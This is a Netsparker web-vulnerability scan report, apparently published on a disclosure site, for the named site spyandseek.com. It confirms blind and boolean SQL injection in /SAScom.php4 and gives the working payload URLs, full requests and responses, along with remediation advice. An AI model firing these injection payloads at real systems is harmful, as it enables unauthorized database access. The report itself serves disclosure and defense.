Blind, Boolean SQL Injection, CWE-89, CAPEC-66, MySQL 5.0.91-log, PoC, www.spyandseek.com

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading
Netsparker - Scan Report Summary
TARGET URL
 http://www.spyandseek.com/
SCAN DATE
 9/28/2011 11:08:43 AM
REPORT DATE
 10/3/2011 8:36:47 PM
SCAN DURATION
 00:08:30

Total Requests

Average Speed

req/sec.
17
identified
9
confirmed
2
critical
11
informational

SCAN SETTINGS

Scan Settings
PROFILE
 Previous Settings
ENABLED ENGINES
 Static Tests, Blind SQL Injection, Boolean SQL Injection, SQL Injection
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
12 %
IMPORTANT
6 %
LOW
18 %
INFORMATION
65 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/ Cookie Not Marked As HttpOnly Yes
File Upload Functionality Identified Yes
[Possible] Internal Path Leakage (Windows) No
/Images/ Forbidden Resource Yes
/index.php4 [Possible] Internal Path Leakage (Windows) No
/login.php4 Password Transmitted Over HTTP Yes
Auto Complete Enabled Yes
form2_username POST Redirect Response BODY Is Too Large Yes
/mylog.php4 [Possible] Internal Path Leakage (Windows) No
/newbad.php4 [Possible] Internal Path Leakage (Windows) No
/newgood.php4 [Possible] Internal Path Leakage (Windows) No
/SAScom.php4 comments_for GET Blind SQL Injection Yes
comments_for GET Boolean Based SQL Injection Yes
MySQL Database Identified Yes
/Search.php4 [Possible] Internal IP Address Leakage No
[Possible] Internal Path Leakage (Windows) No
/topunknown.php4 [Possible] Internal Path Leakage (Windows) No
Blind SQL Injection

Blind SQL Injection
1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed us to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, Updating and Deleting arbitrary data from the database
  • Executing commands on the underlying operating system
  • Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate the all dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

Classification

OWASP A1 PCI v1.2-6.5.2 PCI v2.0-6.5.1 CWE-89 CAPEC-66 WASC-19
- /SAScom.php4

/SAScom.php4 CONFIRMED

http://www.spyandseek.com/SAScom.php4?comments_for=-111%20OR%20SLEEP(25)=0%20LIMIT%201--+

Parameters

Parameter Type Value
comments_for GET -111 OR SLEEP(25)=0 LIMIT 1--

Request

GET /SAScom.php4?comments_for=-111%20OR%20SLEEP(25)=0%20LIMIT%201--+ HTTP/1.1
Referer: http://www.spyandseek.com/newgood.php4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=78dc515921c88469fd044ccae7fd588b
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:09:11 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<HTML><HEAD><TITLE>Spy And Seek the HijackThis Log Analyzer</TITLE><meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1'/> <META NAME='Title' CONTENT='HijackThis Logfile Analyzer'><META NAME='Author' CONTENT='Brett Goldenberg'><META NAME='Copyright' CONTENT='Brett Goldenberg 2004-2006'> <META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix, '/><META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' href='Images/Superhero.ico'><link rel='stylesheet' href='CSS/comm.css' type='text/css'></HEAD><Body><font style='font-size: 10pt' face=' Verdana, Tahoma, Arial' size='2'> <p align='center'><b><u>Comments</u></b></p><table width='97%' align='center' cellpadding='0' cellspacing='0' border='0' class='MainTable'><tr> <td> <div align='center'> </div> </td> </tr> <tr><td class='MessageCell'><p>PCTools Spyware Doctor
PCTools Site Guard
iesdsg.dll
Legitimate GUID but a broken entry <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr></table><BR>






</font>

</BODY>
</HTML>
Boolean Based SQL Injection

Boolean Based SQL Injection
1 TOTAL
CRITICAL
CONFIRMED
1
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, Updating and Deleting arbitrary data from the database
  • Executing commands on the underlying operating system
  • Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

External References

Remedy References

Classification

OWASP A1 PCI v1.2-6.5.2 PCI v2.0-6.5.1 CWE-89 CAPEC-66 WASC-19
- /SAScom.php4

/SAScom.php4 CONFIRMED

http://www.spyandseek.com/SAScom.php4?comments_for=-1+OR+17-7%3d10

Parameters

Parameter Type Value
comments_for GET -1 OR 17-7=10

Request

GET /SAScom.php4?comments_for=-1+OR+17-7%3d10 HTTP/1.1
Referer: http://www.spyandseek.com/newgood.php4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=78dc515921c88469fd044ccae7fd588b
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:09:44 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<HTML><HEAD><TITLE>Spy And Seek the HijackThis Log Analyzer</TITLE><meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1'/> <META NAME='Title' CONTENT='HijackThis Logfile Analyzer'><META NAME='Author' CONTENT='Brett Goldenberg'><META NAME='Copyright' CONTENT='Brett Goldenberg 2004-2006'> <META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix, '/><META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' href='Images/Superhero.ico'><link rel='stylesheet' href='CSS/comm.css' type='text/css'></HEAD><Body><font style='font-size: 10pt' face=' Verdana, Tahoma, Arial' size='2'> <p align='center'><b><u>Comments</u></b></p><table width='97%' align='center' cellpadding='0' cellspacing='0' border='0' class='MainTable'><tr> <td> <div align='center'> </div> </td> </tr> <tr><td class='MessageCell'><p>PCTools Spyware Doctor
PCTools Site Guard
iesdsg.dll
Legitimate GUID but a broken entry <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>TightVNC 1.2.9 is a good app but this entry is corrupt. <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Missing File <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>This executable simply loads the drivers for your Microsoft mouse hardware and provides access to your cursor scheme. This app should be placed on the Good list as it is typical of a standard, modern Windows OS load <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>This file appears to be related to an MSI NX7800 GTX SLI video card installation. There is a reference to it at:

http://www.hardocp.com/article.html?art=ODAwLDI=

Both the SW20 and SW24 executables are mentioned for this piece of hardware. Not a certainty, just a suggestion. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Unless you have run another app to identify what process or processes are running under a "svchost" entry this type of submission serves no purpose. A typical Windows load will have several generic "svchost.exe" entries running in its list of processes. Try checking out PSTools from Winternals, or dig into your Win2K server CD and pull out "tlist.exe" and run that against your process list to pull out the useful info. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>All the Free Download Manager entries can be considered Good. I have been running FDM for months and have thoroughly scrubbed my system. The initial installation does not install any malware/spyware of any kind.

I was using Fresh Download from Fresh Devices for almost two years, and decided to switch to FDM because Fresh Download was misbehaving. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>All the Free Download Manager entries can be considered Good. I have been running FDM for months and have thoroughly scrubbed my system. The initial installation does not install any malware/spyware of any kind.

I was using Fresh Download from Fresh Devices for almost two years, and decided to switch to FDM because Fresh Download was misbehaving. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>All the Free Download Manager entries can be considered Good. I have been running FDM for months and have thoroughly scrubbed my system. The initial installation does not install any malware/spyware of any kind.

I was using Fresh Download from Fresh Devices for almost two years, and decided to switch to FDM because Fresh Download was misbehaving. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>All the Free Download Manager entries can be considered Good. I have been running FDM for months and have thoroughly scrubbed my system. The initial installation does not install any malware/spyware of any kind.

I was using Fresh Download from Fresh Devices for almost two years, and decided to switch to FDM because Fresh Download was misbehaving. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>AVAST is a very high quality freeware antivirus scanner. I started running AVG at its initial IPO back in the day and was very happy with it.

However, AVAST offers a degree of configuration and features (even the freeware, personal edition) that AVG either does not offer, or does not do as well. This is a safe program and all the AVAST entries can be regarded as Good. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>AVAST is a very high quality freeware antivirus scanner. I started running AVG at its initial IPO back in the day and was very happy with it.

However, AVAST offers a degree of configuration and features (even the freeware, personal edition) that AVG either does not offer, or does not do as well. This is a safe program and all the AVAST entries can be regarded as Good. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>AVAST is a very high quality freeware antivirus scanner. I started running AVG at its initial IPO back in the day and was very happy with it.

However, AVAST offers a degree of configuration and features (even the freeware, personal edition) that AVG either does not offer, or does not do as well. This is a safe program and all the AVAST entries can be regarded as Good. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>AVAST is a very high quality freeware antivirus scanner. I started running AVG at its initial IPO back in the day and was very happy with it.

However, AVAST offers a degree of configuration and features (even the freeware, personal edition) that AVG either does not offer, or does not do as well. This is a safe program and all the AVAST entries can be regarded as Good.

Not sure where the "J:\Program Files\..." and "file missing" entries are from. I have it installed and running on my C:\ partition with all components running. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Not sure where the "J:\Program Files\..." and "file missing" entries are from. I have it installed and running on my C:\ partition with all components running. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Not sure where the "J:\Program Files\..." and "file missing" entries are from. I have it installed and running on my C:\ partition with all components running. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Not sure where the "J:\Program Files\..." and "file missing" entries are from. I have it installed and running on my C:\ partition with all components running. <br><br><span class='byline'>Comment By: skylinepc | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>There is no description of the program. The program has no visible window. It is able to change the behavior or monitor the Internet Explorer. File PopupMgr_1.0.1.8P.dll is not a Windows system file. <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>valid MSSQL SERVER entry but it is broken.
(file missing) <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Yankee Clipper III
Windows clipboard extender/memory
Does not seem to be bad. <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>quickly access freqeuntly used folders. <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>quickly access freqeuntly used folders. <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Yankee Clipper III
Windows clipboard extender/memory
Does not seem to be bad. <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>It is used by 3rd party applications to access the drivers for Creative soundcards.

Has had issues hogging 100% of the cpu <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>It is used by 3rd party applications to access the drivers for Creative soundcards.

Has had issues hogging 100% of the cpu <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>This should only be present if you set it on purpose.

It is safe to remove if you like. <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>This should only be present if you set it on purpose.

It is safe to remove if you like. <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>This should only be present if you set it on purpose.

It is safe to remove if you like. <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>This should only be present if you set it on purpose.

It is safe to remove if you like. <br><br><span class='byline'>Comment By: brett | on: Oct 02, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>connected to RightNow Technologies. Road Runner used them for support.

OK to remove. <br><br><span class='byline'>Comment By: brett | on: Oct 09, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>http://www.crucial.com
Crucial System Scanner <br><br><span class='byline'>Comment By: brett | on: Oct 09, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Realtek onboard soundcard driver <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Realtek onboard soundcard driver <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Novell Delivered Applications for Novell powered Networks <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Realtek onboard soundcard high definition audio utility <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Realtek onboard audio driver <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>PSCU Financial Services As Start Page. <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Novell Delivered Applications for Novell Networks <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Intel onboard graphics driver <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Automatic Windows Update <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Mimeo Network Print Driver <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Novell delivered application launcher <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Novell identity verification <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Novell workstation auditing <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Novell remote management agent <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Adware-FFinder <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>process installed alongside RealTek AC97 audio hardware and provides a monitoring service <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>installed alongside Intel multimedia devices and allows configuration and diagnostic options for these devices. <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Automated Timeclock Entry <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Sun Microsystems Java Plugins <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Known drive-by downloader site <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Adware-FFinder <br><br><span class='byline'>Comment By: cstock | on: Oct 12, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Used by Novell powered networks to authenticate clients to a proxy server. <br><br><span class='byline'>Comment By: cstock | on: Oct 20, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>PCTools Spyware Doctor
PCTools Site Guard
iesdsg.dll
Legitimate GUID but a broken entry <br><br><span class='byline'>Comment By: brett | on: Oct 21, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Broken entry it should have something similar to:
http://go.microsoft.com/fwlink/?LinkId=39204&clcid=0x409


on the end. <br><br><span class='byline'>Comment By: brett | on: Oct 24, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>Broken entry it should have something similar to:
http://go.microsoft.com/fwlink/?LinkId=39204&clcid=0x409

on the end. <br><br><span class='byline'>Comment By: brett | on: Oct 24, 2005 </span></p><hr /></td></tr><tr><td class='MessageCell'><p>ctfmon.exe is a part of the Microsoft Office suite. It activates the Alternative User Input Text Input Processor (TIP) and the
Microsoft Office XP Language Bar. This program is a non-essential system process, but should not be termin..
Password Transmitted Over HTTP

Password Transmitted Over HTTP
1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that password data is sent over HTTP.

Impact

If an attacker can intercept network traffic he/she can steal users credentials.

Actions to Take

  1. See the remedy for solution.
  2. Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.

Remedy

All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.

Classification

OWASP A9 PCI v1.2-6.5.9 PCI v2.0-6.5.4 CWE-311 WASC-04
- /login.php4

/login.php4 CONFIRMED

http://www.spyandseek.com/login.php4

Form target action

mshtml.HTMLInputElementClass

Request

GET /login.php4 HTTP/1.1
Referer: http://www.spyandseek.com/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=78dc515921c88469fd044ccae7fd588b
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:08:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'>
<TABLE width="90%" align="center"><TR><TD>

<P>If you have an account with us, please log in with your username and password:</P>

<FORM method="post" action="login.php4">
UserName :<br>
<INPUT type="text" name="form1_username" value="" size="40" maxlength="49"><br>
Password :<br>
<INPUT type="password" name="form1_password" value="" size="30" maxlength="30"><br>
<INPUT type="hidden" name="action" value="login">
<INPUT class='press' type="submit" value="Submit"> <INPUT class='press' type="reset">
</FORM>

<hr>

<p> You do not need an account to use this site. In fact you should be an expert
guru computer wizard if you sign up for an account. </p>
<P>If you do not have an account with us, and you feel you are up to the challenge please enter your email address in the box below.
We will send you a confirmation code and further instructions.</P>


<FORM method="post" action="login.php4">
UserName :<BR>
<INPUT type="text" name="form2_username" value="" size="40" maxlength="49"><br>
Email :<br>
<INPUT type="text" name="form2_email" value="" size="40" maxlength="49"><br>
Password :<br>
<INPUT type="password" name="form2_pass1" value="" size="30" maxlength="30"><br>
Re-enter your password :<br>
<INPUT type="password" name="form2_pass2" value="" size="30" maxlength="30"><br>
<INPUT type="hidden" name="action" value="new">
<INPUT class='press' type="submit" value="Submit">
</FORM>
</p>
</div>
</TD></TR></TABLE>
<!--"end tubular data here"--></div>
</div><!--"end main content here"--></div></div><br style='clear: both;' />

</div>

<div id='footer'>
<div class='footer-contents'><div class='footer-contents2'>
<div class='col'>
<dl class='col-prime'>
<dt>Site Links</dt>
<dd><a href='index.php4'>Home</a></dd>
<dd><a href='store.php4'>Store</a></dd>


<dd><a href='contact.php4'>Contact</a></dd>
<dd><a href='faq.php4'>FAQ</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt>Filters</dt>

<dd><a href='logja-vu.php4'>Logja-vu</a> </dd>
<dd><a href='newgood.php4'>Good</a></dd>
<dd><a href='newbad.php4'>Bad</a></dd>
<dd><a href='topunknown.php4'>Unknown</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt >Bloggs</dt>
<dd><a href='http://blog.spyandseek.com'>SpyandSeek</a> </dd>

<dd>
<a href='http://sunbeltblog.blogspot.com/'>Sun Belt</a> </dd>
</dl>
</div>
<div class='col-last'>
<div id='P_TownhallFooter' ><dl>

<dd></dd></dl>
</div>
</div></div></div>

<br style='clear: both;' />
</div>

<div class='copyright'><div>
